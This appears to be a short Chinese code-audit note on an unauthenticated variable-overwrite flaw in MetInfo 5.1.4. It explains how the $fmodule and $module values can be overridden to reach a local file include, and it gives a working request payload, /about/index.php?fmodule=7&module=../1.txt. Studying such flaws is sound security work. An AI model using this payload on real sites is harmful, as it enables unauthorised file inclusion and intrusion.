【未授权-变量覆盖】【MetInfo5.1.4】
关键字:
extract() parse_str() importrequestvariables() $$ 等
问题:
在../include/module.php会判断$fmodule是否等于7,等于7时$module是写死的,不等于7时$module可以赋值。
$filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; require_once $module;

调试:
传入参数/about/index.php?fmodule=7&module=../test.php,原$fmodule=1,

继续步入请求/include/module.php,

此时为传入参数$fmodule=7,$module=../test.php,直接跳过if判断,包含../test.php



思路:
1、搜索关键字定位代码段
2、寻找存在变量的文件包含
3、尝试覆盖正常逻辑的变量值
/include/comment.inc.php $$
/about/index.php require_once $module
/include/module.php $fmodule=7 $module
Payload:/about/index.php?fmodule=7&module=../1.txt
苟利国家生死以,岂因福祸避趋之

浙公网安备 33010602011771号